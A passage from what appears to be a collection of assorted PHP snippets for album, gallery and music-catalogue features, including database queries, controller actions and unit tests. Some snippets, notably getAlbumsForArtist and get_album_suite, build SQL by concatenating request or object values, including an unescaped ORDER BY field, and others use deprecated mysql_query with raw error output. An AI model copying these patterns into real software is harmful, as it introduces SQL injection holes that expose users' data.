$album['category']['attributes']['im:id'],\n\t\t\t\t'link' => $album['category']['attributes']['scheme'],\n\t\t\t];\n\t\t\t\n\t\t\t$stmt->execute($data);\n\t\t\t\n\t\t\t//Insterts album info\n\t\t\t$stmt= $this->db->prepare($album_sql);\n\t\t\t\n\t\t\t$data = [\n\t\t\t\t'album_id' => $album['id']['attributes']['im:id'],\n\t\t\t\t'name' => $album['title']['label'],\n\t\t\t\t'artist' => $album['im:artist']['label'],\n\t\t\t\t'artist_link' => (isset($album['im:artist']['attributes'])) ? $album['im:artist']['attributes']['href'] : '',\n\t\t\t\t'category_id' => $album['category']['attributes']['im:id'],\n\t\t\t\t'release_date' => $album['im:releaseDate']['label'],\n\t\t\t\t'rank' => $rank,\n\t\t\t];\n\n\t\t\t$stmt->execute($data);\n\t\t\t\n\t\t\t//inserts album images\n\t\t\t$stmt= $this->db->prepare($images_sql);\n\t\t\t\n\t\t\tforeach($album['im:image'] as $image){\n\t\t\t\t$data = [\n\t\t\t\t\t'album_id' => $album['id']['attributes']['im:id'],\n\t\t\t\t\t'album_image' => $image['label'],\n\t\t\t\t\t'image_size' => $image['attributes']['height'],\n\t\t\t\t];\n\t\t\t\t\n\t\t\t\t$stmt->execute($data);\n\t\t\t}\n\t\t}\n\t}",
"function getAlbums() {\n\n $ro = new GetAlbumsRO();\n $files = glob('Pics/*');\n $numfiles = count($files);\t\n\n for ($i=0; $i < $numfiles; $i++)\n {\n $onefile = $files[$i];\n $imgs_in_album = glob(\"$onefile/*.[jJ][pP][gG]\");\n if (count($imgs_in_album) > 0)\n $album_image = $imgs_in_album[0];\n else\n $album_image = \"res/GenericAlbum.jpg\";\n $album_name = basename($onefile);\n\n $oneAlbum = new AlbumInfo($album_name, $album_image);\n array_push($ro->albums, $oneAlbum);\n }\n\n return $ro;\n}",
"public function getAlbums()\n {\n return $this->albums;\n }",
"public function get_album_suite()\n {\n $results = array();\n\n $catalog_where = \"\";\n $catalog_join = \"LEFT JOIN `catalog` ON `catalog`.`id` = `song`.`catalog`\";\n if ($catalog) {\n $catalog_where .= \" AND `catalog`.`id` = '$catalog'\";\n }\n if (AmpConfig::get('catalog_disable')) {\n $catalog_where .= \" AND `catalog`.`enabled` = '1'\";\n }\n\n $sql = \"SELECT DISTINCT `album`.`id` FROM album LEFT JOIN `song` ON `song`.`album`=`album`.`id` $catalog_join \" .\n \"WHERE `album`.`mbid`='$this->mbid' $catalog_where ORDER BY `album`.`disk` ASC\";\n\n $db_results = Dba::read($sql);\n\n while ($r = Dba::fetch_assoc($db_results)) {\n $results[] = $r['id'];\n }\n\n return $results;\n\n }",
"public function GetAlbums()\n {\n if ($handle = opendir('albums')) {\n # Loop thrue all entries in the directory handle untill it reads boolean FALSE\n while (false !== ($entry = readdir($handle))) {\n # Check to not display root and return links\n if ($entry != \".\" && $entry != \"..\") {\n # Display entry link\n include \"../private_html/templates/albumCell.php\";\n }\n }\n closedir($handle);\n }\n }",
"public function testAlbumPictureRelations()\n {\n $album = Album::all()->first();\n // Check if album owns 5 pictures..\n $this->assertEquals($album->pictures->count(), Picture::all()->count());\n }",
"public function getAlbumsAction()\n {\n $em = $this->getDoctrine()->getManager();\n $albums = $em->getRepository(Album::class)->findAll();\n\n return $this->handleView($this->view($albums));\n }",
"private function getAlbums($aData)\n {\n /**\n * @var string\n */\n $sAction = (isset($aData['sAction']) && $aData['sAction'] == 'new') ? 'new' : 'more';\n /**\n * @var int\n */\n $iLastTimeStamp = isset($aData['iLastTimeStamp']) ? (int) $aData['iLastTimeStamp'] : 0;\n /**\n * @var string\n */\n $sView = isset($aData['sView']) ? $aData['sView'] : '';\n /**\n * @var int\n */\n $iAmountOfAlbum = isset($aData['iAmountOfAlbum']) ? (int) $aData['iAmountOfAlbum'] : 10;\n /**\n * @var string\n */\n $sSearch = isset($aData['sSearch']) ? $aData['sSearch'] : '';\n /**\n * @var array\n */\n $aCond = array();\n\n if (!empty($sSearch))\n {\n $aCond[] = 'm.name LIKE \"' . Phpfox::getLib('parse.input')->clean('%' . $sSearch . '%') . '\"';\n }\n switch ($sView) {\n case 'my':\n $aCond[] = 'm.user_id = ' . Phpfox::getUserId();\n break;\n\n case 'all':\n default:\n $aCond[] = 'm.view_id = 0';\n $aCond[] = 'm.privacy IN(0)';\n break;\n }\n if ($iLastTimeStamp > 0)\n {\n if ($sAction == 'more')\n {\n $aCond[] = 'm.time_stamp < ' . $iLastTimeStamp;\n }\n else\n {\n $aCond[] = 'm.time_stamp > ' . $iLastTimeStamp;\n }\n }\n $this->database()\n ->select('COUNT(*)')\n ->from(Phpfox::getT('music_album'), 'm');\n /**\n * @var int\n */\n $iCount = $this->database()\n ->where(implode(' AND ', $aCond))\n ->limit(1)\n ->execute('getField');\n if ($iCount == 0)\n {\n return array();\n }\n /**\n * @var array\n */\n $aAlbums = $this->database()\n ->select('lik.like_id AS is_liked, m.*, u.user_id, u.profile_page_id, u.server_id AS user_server_id, u.user_name, u.full_name, u.gender, u.user_image, u.is_invisible, u.user_group_id, u.language_id')\n ->from(Phpfox::getT('music_album'), 'm')\n ->leftJoin(Phpfox::getT('like'), 'lik', 'lik.type_id = \\'music_album\\' AND lik.item_id = m.album_id AND lik.user_id = ' . Phpfox::getUserId())\n ->join(Phpfox::getT('user'), 'u', 'u.user_id = m.user_id')\n ->where(implode(' AND ', $aCond))\n ->order('m.time_stamp DESC')\n ->limit(0, $iAmountOfAlbum, $iCount)\n ->execute('getRows');\n /**\n * @var array\n */\n $aResult = array();\n foreach ($aAlbums as $aAlbum)\n {\n $aResult[] = array(\n 'bIsLiked' => isset($aAlbum['is_liked']) ? (bool) $aAlbum['is_liked'] : false,\n 'iAlbumId' => $aAlbum['album_id'],\n 'iViewId' => $aAlbum['view_id'],\n 'iPrivacy' => $aAlbum['privacy'],\n 'iPrivacyComment' => $aAlbum['privacy_comment'],\n 'bIsFeatured' => (bool) $aAlbum['is_featured'],\n 'bIsSponsor' => (bool) $aAlbum['is_sponsor'],\n 'iUserId' => $aAlbum['user_id'],\n 'sName' => $aAlbum['name'],\n 'iYear' => $aAlbum['year'],\n 'sImagePath' => Phpfox::getLib('image.helper')->display(array(\n 'server_id' => $aAlbum['server_id'],\n 'path' => 'music.url_image',\n 'file' => $aAlbum['image_path'],\n 'suffix' => '_50_square',\n 'return_url' => true\n )\n ),\n 'iTotalTrack' => $aAlbum['total_track'],\n 'iTotalPlay' => $aAlbum['total_play'],\n 'iTotalComment' => $aAlbum['total_comment'],\n 'iTotalLike' => $aAlbum['total_like'],\n 'iTotalDislike' => $aAlbum['total_dislike'],\n 'iTotalScore' => $aAlbum['total_score'],\n 'iTotalRating' => $aAlbum['total_rating'],\n 'iTimeStamp' => $aAlbum['time_stamp'],\n 'sTimeStamp' => date('l, F j', $aAlbum['time_stamp']),\n 'sFullTimeStamp' => date('l, F j', $aAlbum['time_stamp']) . ' at ' . date('g:i a', $aAlbum['time_stamp']),\n 'sModuleId' => isset($aAlbum['module_id']) ? $aAlbum['module_id'] : 0,\n 'iItemId' => $aAlbum['item_id'],\n 'iProfilePageId' => $aAlbum['profile_page_id'],\n 'iUserServerId' => $aAlbum['user_server_id'],\n 'sUsername' => $aAlbum['user_name'],\n 'sFullname' => $aAlbum['full_name'],\n 'iGender' => $aAlbum['gender'],\n 'sUserImage' => Phpfox::getLib('image.helper')->display(array(\n 'server_id' => $aAlbum['user_server_id'],\n 'path' => 'core.url_user',\n 'file' => $aAlbum['user_image'],\n 'suffix' => '_50_square',\n 'return_url' => true\n )\n ),\n 'bIsInvisible' => $aAlbum['is_invisible'],\n 'iUserGroupId' => $aAlbum['user_group_id'],\n 'iLanguageId' => isset($aAlbum['language_id']) ? $aAlbum['language_id'] : 0\n );\n }\n return $aResult;\n }",
"function get_top_albums() {\n\t\t$data = $this->_request_data('topalbums');\n\n\t\tif (!$data) return false;\n\n\t\tforeach ($data->album as $album) {\n\t\t\t$album = new LastfmAlbum($album, $this->_connection);\n\t\t\t//$album->artist = $this->name;\n\t\t\t$result[] = $album;\n\t\t}\n\n\t\treturn $result;\n\n\t}",
"public function getAlbums($id){\n $artist = Artist::find($id);\n return $artist->albums;\n }",
"public function getAlbums()\n {\n return GalleryAlbum::get()->filter('ParentID', $this->ID);\n }",
"function getAlbumImages($args)\n{\n global $_zp_current_image;\n if (is_object($login_state = authorize($args))) {\n return $login_state;\n }\n $args = decode64($args);\n logger('getAlbumImages', ($args['loglevel']));\n $albumobject = getItemByID('albums', $args['id']);\n $images = $albumobject->getImages();\n if (!($albumobject || !$args['id'])) {\n return new ZEN_Error(-1, 'No folder with database ID '.$args['id'].' found!');\n }\n makeAlbumCurrent($albumobject);\n $list = [];\n while (next_image(true)) {\n $meta = $_zp_current_image->getmetadata();\n if ($meta['EXIFDateTimeOriginal']) {\n $imagedate = $meta['EXIFDateTimeOriginal'];\n } else {\n $imagedate = false;\n }\n $list[] = entitysave([\n 'id' => $_zp_current_image->getID(),\n 'albumid' => $_zp_current_image->getAlbum()->getID(),\n 'name' => $_zp_current_image->filename,\n 'shortdate' => date('Y-m-d', (strtotime(str_replace(' ', '', (str_replace(':', '', $imagedate)))))),\n 'longdate' => $imagedate,\n 'url' => WEBPATH.'index.php?album='.urlencode($_zp_current_image->album->name).'&image='.urlencode($_zp_current_image->filename),\n 'folder' => $_zp_current_image->getAlbum()->getFolder(),\n // added by monta\n 'thumbnail' => $_zp_current_image->getThumbImageFile(),\n 'description' => $_zp_current_image->getDesc(),\n 'commentcount' => count($_zp_current_image->getComments()),\n ]);\n } //next_image( true )\n //writelog((var_export($list, true)));\n return $list;\n}",
"public function testGetGalleries() : void {\n $expected = 0;\n $this->assertEquals($expected, count($this->dataManager->getGalleries()));\n }",
"public function allAlbums()\n {\n return $this\n ->select(\"*\", \"artists.slug as slugArtist\", \"albums.slug as slugAlbum\", 'albums.created_at as created_at')\n ->join('artists', 'albums.artist', '=', 'artists.id')\n ->orderBy('albums.released', 'desc')\n ->paginate(10);\n }",
"public function gallery_albums()\n {\n $lang = $this->data['lang'];\n $user_id = $this->user_id;\n\n $this->data['page'] = 'gallery' ;\n $this->data['gallery_albums'] = $this->home_m->get_data('gallery_albums')->result_array();\n\n $body = 'gallery_albums' ;\n\n $this->load_pages($body,$this->data);\n }",
"public function get_albums()\r\n\t{\r\n\t\t$xml = $this->call(PicasaAPI::$QUERY_URLS['picasa'] . \"?kind=album&alt=rss&prettyprint=true\");\r\n\t\treturn $xml;\r\n\t}",
"public function testJson()\n {\n $albums = factory('App\\Models\\Album', 3)->create();\n\n $this->get('/albums');\n $this->assertResponseStatus(200);\n $this->assertJsonStringEqualsJsonString((string) $albums, $this->response->getContent());\n\n $this->get('/album/' . $albums[0]->id);\n $this->assertResponseStatus(200);\n $this->assertJsonStringEqualsJsonString((string) $albums[0], $this->response->getContent());\n\n $songs = factory('App\\Models\\Song', 9)->create(['album' => $albums[0]->id]);\n // Sort by track. Then splice to reset the keys.\n $songs = $songs->sortBy('track')->splice(0);\n\n $this->get('/album/' . $albums[0]->id . '/songs');\n $this->assertResponseStatus(200);\n $this->assertJsonStringEqualsJsonString((string) $songs, $this->response->getContent());\n }",
"function albumsList($albums=array(), $startnum=-1, $modvars=array(), $albumsCount=null)\n\t{\n\t\t// Create output object\n\t\t$pnRender = pnRender :: getInstance('crpCasa');\n\n\t\t$pnRender->assign('startnum',$startnum);\n\t\t$pnRender->assign($modvars);\n\t\t$pnRender->assign('albums',$albums);\n\t\t// Assign the information required to create the pager\n\t\t$pnRender->assign('pager', array (\n\t\t\t'numitems' => $albumsCount,\n\t\t\t'itemsperpage' => $modvars['albumsperpage']\n\t\t));\n\n\t\t// Return the output that has been generated by this function\n\t\treturn $pnRender->fetch('crpcasa_user_albums_list.htm');\n\t}",
"function albums_get_albums($only_return_title = FALSE) {\n\t$files = read_dir_contents(ALBUMS_DIR, 'files');\n\n\tif ($files) {\n\t\tnatcasesort($files);\n\t\tforeach ($files as $album) {\n\t\t\tinclude(ALBUMS_DIR.'/'.$album);\n\t\t\tif ($only_return_title == TRUE)\n\t\t\t\t$albums[] = $album_name;\n\t\t\telse {\n\t\t\t\t$albums[] = array(\n\t\t\t\t\t'title' => $album_name,\n\t\t\t\t\t'seoname' => str_replace('.php', '', $album)\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tunset($album);\n\n\t\treturn $albums;\n\t}\n\n\telse\n\t\treturn false;\n}",
"public function test_images_all()\n {\n $response = $this->getJson('/api/images');\n $response\n ->assertStatus(200);\n }",
"public function testGetAll()\n {\n $contentCategories = factory(ContentCategory::class, 2)->create();\n $results = $this->contentCategoryService->getAll();\n\n $this->assertTrue( $contentCategories->count() == $results->count() );\n $contentCategories->each( function($contentCategory, $index) use ($results) {\n $this->assertTrue($contentCategory->id == $results[$index]->id);\n });\n }",
"public function testGetImages() : void {\n $galleryId = 0;\n $expected = 0;\n $this->assertEquals($expected, count($this->dataManager->getImages($galleryId)));\n }",
"public function getAlbumsForArtist($artist_id,$artist_role){\r\n\t\tif($artist_id){\r\n\t\t\t$container = new container_db_dto();\r\n\t\t\t\r\n\t\t\t$limit = (int)$this->messenger[\"query\"][\"limit\"];\r\n\t\t\t$start = (int)$this->messenger[\"query\"][\"start\"];\r\n\t\t\t$orderBy = \"\";\r\n\t\t\tif(\t$this->messenger['query']['sf'] != '' ){\r\n\t\t\t\t$orderBy = \" ORDER BY am.\".$this->messenger['query']['sf'].\" \".$this->messenger['query']['so'];\r\n\t\t\t}\r\n\t\t\t$where = ' where am.status = 1 and aa.artist_id = '.$artist_id;\r\n\t\t\tif($artist_role!=null && key_exists($artist_role,$this->aConfig['artist_type'])){\r\n\t\t\t\t$artist_role_id = $this->aConfig['artist_type'][$artist_role];\r\n\t\t\t\tif($artist_role_id)\r\n\t\t\t\t\t$where = $where.\" and aa.artist_role & \".$artist_role_id.\"=\".$artist_role_id;\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t$this->apply_where_criteria($where);\r\n\t\t\t$this->sSql = \"select count(aa.album_id) as cnt\r\n\t\t\t\t\t\tfrom artist_album aa left join album_mstr am on am.album_id=aa.album_id\r\n\t\t\t\t\t\tleft join language_mstr lm on lm.language_id=am.language_id \r\n\t\t\t\t\t\tLEFT JOIN label_mstr lb ON lb.label_id=am.label_id \r\n\t\t\t\t\t\t\".$where;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$res = $this->oMysqli->query($this->sSql);\r\n\t\t\tif($res!=-1 and sizeof($res)>0){\r\n\t\t\t\t$container->settotal_count($res[0]->cnt);\r\n\t\t\t\t$this->sSql = \"SELECT am.broadcast_year,am.content_type,am.film_rating,am.grade,lm.language_id,\r\n\t\t\t\t\t\tam.music_release_date,am.album_id,am.album_name,lm.language_name,am.music_release_date,am.title_release_date,am.album_image,\r\n\t\t\t\t\tam.album_type,lb.label_name @@@album_desc@@@ @@@album_excerpt@@@\r\n\t\t\t\t\tfrom artist_album aa left join album_mstr am on am.album_id=aa.album_id\r\n\t\t\t\t\t\tleft join language_mstr lm on lm.language_id=am.language_id \r\n\t\t\t\t\t\tLEFT JOIN label_mstr lb ON lb.label_id=am.label_id \r\n\t\t\t\t\t\t\".$where.\" \".$orderBy .\" LIMIT $start, $limit\";\r\n\t\t\t\t$this->apply_includes();\r\n\t\t\t\t$res = $this->oMysqli->query($this->sSql);\r\n\t\t\t\t$data = array();\r\n\t\t\t\t$album_ids_arr = array();\r\n\t\t\t\tif(sizeof($res)>0 && $res!=-1){\r\n\t\t\t\t\tforeach ($res as $resValue){\r\n\t\t\t\t\t\t$album = new album_db_dto();\r\n\t\t\t\t\t\t$album->setalbum_id($resValue->album_id);\r\n\t\t\t\t\t\t$album_ids_arr[] = $resValue->album_id;\r\n\t\t\t\t\t\t$album->setalbum_name($resValue->album_name);\r\n\t\t\t\t\t\t$album->setalbum_language($resValue->language_name);\r\n\t\t\t\t\t\t$album->setalbum_language_id($resValue->language_id);\r\n\t\t\t\t\t\t$album->setalbum_music_rel_dt($resValue->music_release_date);\r\n\t\t\t\t\t\t$album->setalbum_label($resValue->label_name);\r\n\t\t\t\t\t\t$album->setalbum_type($this->oCommon->getalbumtype($resValue->album_type));\r\n\t\t\t\t\t\t$album->setalbum_title_rel_dt($resValue->title_release_date);\r\n\t\t\t\t\t\t$album->setalbum_df_image($resValue->album_image);\r\n\t\t\t\t\t\t$album->setalbum_broadcast_year($resValue->broadcast_year);\r\n\t\t\t\t\t\t$album->setalbum_content_type($this->oCommon->getalbumcontenttype($resValue->content_type));\r\n\t\t\t\t\t\t$album->setalbum_film_rating($resValue->film_rating);\r\n\t\t\t\t\t\t$album->setalbum_grade($resValue->grade);\r\n\t\t\t\t\t\tif(in_array(\"album_description\",$this->req_includes_arr)){\r\n\t\t\t\t\t\t\t$album->setalbum_description($resValue->album_desc);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif(in_array(\"album_excerpt\",$this->req_includes_arr)){\r\n\t\t\t\t\t\t\t$album->setalbum_excerpt($resValue->album_excerpt);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$data[]=$album;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$artist_album_map=array();\r\n\t\t\t\t\t$artist_album_map = $this->oCommon->getArtistForAlbum($album_ids_arr);\r\n\t\t\t\t\t$album_tag_map = array();\r\n\t\t\t\t\tif(in_array(\"album_tags\",$this->req_includes_arr)){\r\n\t\t\t\t\t\t$album_tag_map = $this->oCommon->getAlbumTags($album_ids_arr);\r\n\t\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\tforeach($data as $album){\r\n\t\t\t\t\t\t$id = $album->getalbum_id();\r\n\t\t\t\t\t\tif(key_exists($id,$artist_album_map))\r\n\t\t\t\t\t\t\t$album->setalbum_artist($artist_album_map[$id]);\r\n\t\t\t\t\t\tif(key_exists($id,$album_tag_map))\r\n\t\t\t\t\t\t\t$album->setalbum_tags($album_tag_map[$id]);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$container->setdata($data);\r\n\t\t\t\t\r\n\t\t\t\treturn $container->to_array();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t}",
"function getSubAlbums($album)\n{\n $list = [];\n $albumObj = new Album($album);\n $albumID = $albumObj->getID();\n $parentID = getItemByID('albums', $albumID);\n if ($albumObj->isDynamic() || !$albumID) {\n return $list;\n }\n $subalbums = $albumObj->getAlbums(null, null, null, null, true);\n $subalbums = $parentID->getAlbums(null, null, null, null, true);\n if (is_array($subalbums)) {\n foreach ($subalbums as $subalbum) {\n $list[] = $subalbum;\n $list = array_merge($list, getSubAlbums($subalbum));\n } //$subalbums as $subalbum\n } //is_array($subalbums)\n return $list;\n}",
"public function getAlbums($album = NULL)\n {\n if(is_null($album))\n {\n //Si cargue todos los albums\n if(is_null($this->album_loaded))\n {\n return $this->albums;\n }\n //Si cargue un album en particular\n else\n {\n return $this->albums[$this->hashMap[$this->album_loaded]];\n }\n }\n else\n {\n if(array_key_exists($album, $this->hashMap))\n {\n return $this->albums[$this->hashMap[$album]];\n }\n else\n {\n throw new Exception('The album ' . $album . ' is not loaded', 102);\n }\n }\n }",
"public function testThumbnailsInsideHiddenAlbum(): void\n\t{\n\t\t$isRecentPublic = RecentAlbum::getInstance()->public_permissions() !== null;\n\t\t$arePublicPhotosHidden = Configs::getValueAsBool(TestConstants::CONFIG_PUBLIC_HIDDEN);\n\t\t$isPublicSearchEnabled = Configs::getValueAsBool(TestConstants::CONFIG_PUBLIC_SEARCH);\n\t\t$displayMap = Configs::getValueAsBool(TestConstants::CONFIG_MAP_DISPLAY);\n\t\t$displayMapPublicly = Configs::getValueAsBool(TestConstants::CONFIG_MAP_DISPLAY_PUBLIC);\n\t\t$includeSubAlbums = Configs::getValueAsBool(TestConstants::CONFIG_MAP_INCLUDE_SUBALBUMS);\n\n\t\ttry {\n\t\t\tAuth::loginUsingId(1);\n\t\t\tRecentAlbum::getInstance()->setPublic();\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_HIDDEN, false);\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_SEARCH, true);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY, true);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY_PUBLIC, true);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_INCLUDE_SUBALBUMS, true);\n\n\t\t\t$albumID1 = $this->albums_tests->add(null, 'Test Album 1')->offsetGet('id');\n\t\t\t$albumID11 = $this->albums_tests->add($albumID1, 'Test Album 1.1')->offsetGet('id');\n\t\t\t$albumID12 = $this->albums_tests->add($albumID1, 'Test Album 1.2')->offsetGet('id');\n\t\t\t$albumID121 = $this->albums_tests->add($albumID12, 'Test Album 1.2.1')->offsetGet('id');\n\t\t\t$albumID13 = $this->albums_tests->add($albumID1, 'Test Album 1.3')->offsetGet('id');\n\n\t\t\t$photoID1 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_AARHUS), $albumID1\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID11 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_ETTLINGEN), $albumID11\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID12 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_TRAIN_IMAGE), $albumID12\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID121 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_HOCHUFERWEG), $albumID121\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID13 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_MONGOLIA_IMAGE), $albumID13\n\t\t\t)->offsetGet('id');\n\n\t\t\t$this->albums_tests->set_protection_policy(id: $albumID1, grants_full_photo_access: true, is_public: true, is_link_required: true);\n\t\t\t// Sic! We do not make album 1.1 public to ensure that the\n\t\t\t// search filter does not include too much\n\t\t\t$this->albums_tests->set_protection_policy($albumID12);\n\t\t\t$this->albums_tests->set_protection_policy($albumID121);\n\t\t\t$this->albums_tests->set_protection_policy($albumID13);\n\n\t\t\tAuth::logout();\n\t\t\tSession::flush();\n\t\t\t$this->clearCachedSmartAlbums();\n\n\t\t\t// Check that Recent and root album show nothing to ensure\n\t\t\t// that we eventually really test the special searchability\n\t\t\t// condition for positional data within hidden albums and do not\n\t\t\t// accidentally see the expected data, because we see the\n\t\t\t// corresponding photos anyway.\n\n\t\t\t$responseForRoot = $this->root_album_tests->get();\n\t\t\t$responseForRoot->assertJson([\n\t\t\t\t'smart_albums' => [\n\t\t\t\t\t'recent' => ['thumb' => null],\n\t\t\t\t],\n\t\t\t\t'tag_albums' => [],\n\t\t\t\t'albums' => [],\n\t\t\t\t'shared_albums' => [],\n\t\t\t]);\n\t\t\t$responseForRoot->assertJsonMissing([\n\t\t\t\t'unsorted' => null,\n\t\t\t\t'starred' => null,\n\t\t\t\t'public' => null,\n\t\t\t\t'on_this_day' => null,\n\t\t\t]);\n\t\t\tforeach ([$albumID1, $photoID1, $photoID11, $photoID12, $photoID121, $photoID13] as $id) {\n\t\t\t\t$responseForRoot->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t$responseForRecent = $this->albums_tests->get(RecentAlbum::ID);\n\t\t\t$responseForRecent->assertJson([\n\t\t\t\t'thumb' => null,\n\t\t\t\t'photos' => [],\n\t\t\t]);\n\t\t\tforeach ([$photoID11, $photoID12, $photoID121, $photoID13] as $id) {\n\t\t\t\t$responseForRecent->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t// Fetch positional data for the hidden, but public albums and\n\t\t\t// check whether we see the correct thumbnails\n\t\t\t$response = $this->albums_tests->getPositionData($albumID1, false);\n\t\t\t$response->assertJson([\n\t\t\t\t'id' => $albumID1,\n\t\t\t\t'title' => 'Test Album 1',\n\t\t\t\t'photos' => [['id' => $photoID1, 'title' => 'aarhus']],\n\t\t\t]);\n\t\t\tforeach ([$photoID11, $photoID12, $photoID121, $photoID13] as $id) {\n\t\t\t\t$response->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t$response = $this->albums_tests->getPositionData($albumID1, true);\n\t\t\t$response->assertJson([\n\t\t\t\t'id' => $albumID1,\n\t\t\t\t'title' => 'Test Album 1',\n\t\t\t]);\n\t\t\t$response->assertJsonFragment(['id' => $photoID1, 'title' => 'aarhus']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID12, 'title' => 'train']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID121,\t'title' => 'hochuferweg']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID13, 'title' => 'mongolia']);\n\t\t\t$response->assertJsonMissing(['id' => $photoID11]); // photo 1.1 has not been made public\n\n\t\t\t$response = $this->albums_tests->getPositionData($albumID12, false);\n\t\t\t$response->assertJson([\n\t\t\t\t'id' => $albumID12,\n\t\t\t\t'title' => 'Test Album 1.2',\n\t\t\t\t'photos' => [['id' => $photoID12, 'title' => 'train']],\n\t\t\t]);\n\t\t\tforeach ([$photoID1, $photoID11, $photoID121, $photoID13] as $id) {\n\t\t\t\t$response->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t$response = $this->albums_tests->getPositionData($albumID12, true);\n\t\t\t$response->assertJson(['id' => $albumID12, 'title' => 'Test Album 1.2']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID12, 'title' => 'train']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID121,\t'title' => 'hochuferweg']);\n\t\t\tforeach ([$photoID1, $photoID11, $photoID13] as $id) {\n\t\t\t\t$response->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\t\t} finally {\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_HIDDEN, $arePublicPhotosHidden);\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_SEARCH, $isPublicSearchEnabled);\n\t\t\tif ($isRecentPublic) {\n\t\t\t\tRecentAlbum::getInstance()->setPublic();\n\t\t\t} else {\n\t\t\t\tRecentAlbum::getInstance()->setPrivate();\n\t\t\t}\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY, $displayMap);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY_PUBLIC, $displayMapPublicly);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_INCLUDE_SUBALBUMS, $includeSubAlbums);\n\t\t\tAuth::logout();\n\t\t\tSession::flush();\n\t\t}\n\t}",
"public function getAlbum(): Album;",
"function getAlbums($type='LATEST')\n{\n\t$data = array();\n\t$condition = '';\n\tswitch($type)\n\t{\n\t\tcase 'LATEST':\n\t\t\t$condition = '';\n\t\tbreak;\n\t\t\n\t\tcase 'USER':\n\t\t\t$condition = 'AND a.album_type=3 ';\n\t\tbreak;\n\t\t\n\t\tcase 'EVENTS':\n\t\t\t$condition = 'AND a.album_type=1 ';\n\t\tbreak;\n\t\t\n\t\tcase 'MATCHES':\n\t\t\t$condition = 'AND a.album_type=2 ';\n\t\tbreak;\n\t}\n\t$q = 'SELECT a.album_id, a.name, at.name, u.username, a.user_id, a.date, p.thumb '.\n\t\t\t'FROM albums AS a, album_type AS at, users AS u, pictures AS p '.\n\t\t\t'WHERE a.user_id = u.user_id '.\n\t\t\t'AND a.album_type = at.type_id '.\n\t\t\t'AND a.cover_id = p.picture_id '.\n\t\t\t$condition.\n\t\t\t'ORDER BY a.date DESC';\n\t\n\t$res = mysql_query($q)\n\t\tor die(mysql_error());\n\twhile($row = mysql_fetch_array($res))\n\t{\n\t\t$data[] = array('id'=>$row['album_id'],\n\t\t\t\t\t\t'album_name'=>$row[1],\n\t\t\t\t\t\t'type_name'=>$row[2],\n\t\t\t\t\t\t'username'=>$row['username'],\n\t\t\t\t\t\t'date'=>$row['date'],\n\t\t\t\t\t\t'user_id'=>$row['user_id'],\n\t\t\t\t\t\t'pic_count'=>countPictures($row['album_id']),\n\t\t\t\t\t\t'cover'=>$row['thumb']);\n\t}\n\tSmartyPaginate::setTotal(count($data));\n\treturn array_slice($data, SmartyPaginate::getCurrentIndex(),SmartyPaginate::getLimit());\n}",
"function getAllTagsFromAlbum($albumname,$subalbums=false,$mode='images') {\n\tglobal $_zp_gallery;\n\t$passwordcheck = '';\n\t$imageWhere = '';\n\t$tagWhere = \"\";\n\t$albumname = sanitize($albumname);\n\tif(empty($albumname)) {\n\t\treturn FALSE;\n\t}\n\t$albumobj = new Album($_zp_gallery,$albumname);\n\tif(!$albumobj->exists) {\n\t\treturn FALSE;\n\t}\n\tif (zp_loggedin()) {\n\t\t$albumWhere = \"WHERE `dynamic`=0\";\n\t} else {\n\t\t$albumscheck = query_full_array(\"SELECT * FROM \" . prefix('albums'). \" ORDER BY title\");\n\t\tforeach($albumscheck as $albumcheck) {\n\t\t\tif(!checkAlbumPassword($albumcheck['folder'])) {\n\t\t\t\t$albumpasswordcheck= \" AND id != \".$albumcheck['id'];\n\t\t\t\t$passwordcheck = $passwordcheck.$albumpasswordcheck;\n\t\t\t}\n\t\t}\n\t\t$albumWhere = \"WHERE `dynamic`=0 AND `show`=1\".$passwordcheck;\n\t}\n\tif($subalbums) {\n\t\t$albumWhere .= \" AND `folder` LIKE \".db_quote($albumname.\"%\");\n\t} else {\n\t\t$albumWhere .= \" AND `folder` = \".db_quote($albumname);\n\t}\n\t$albumids = query_full_array(\"SELECT id, folder FROM \" . 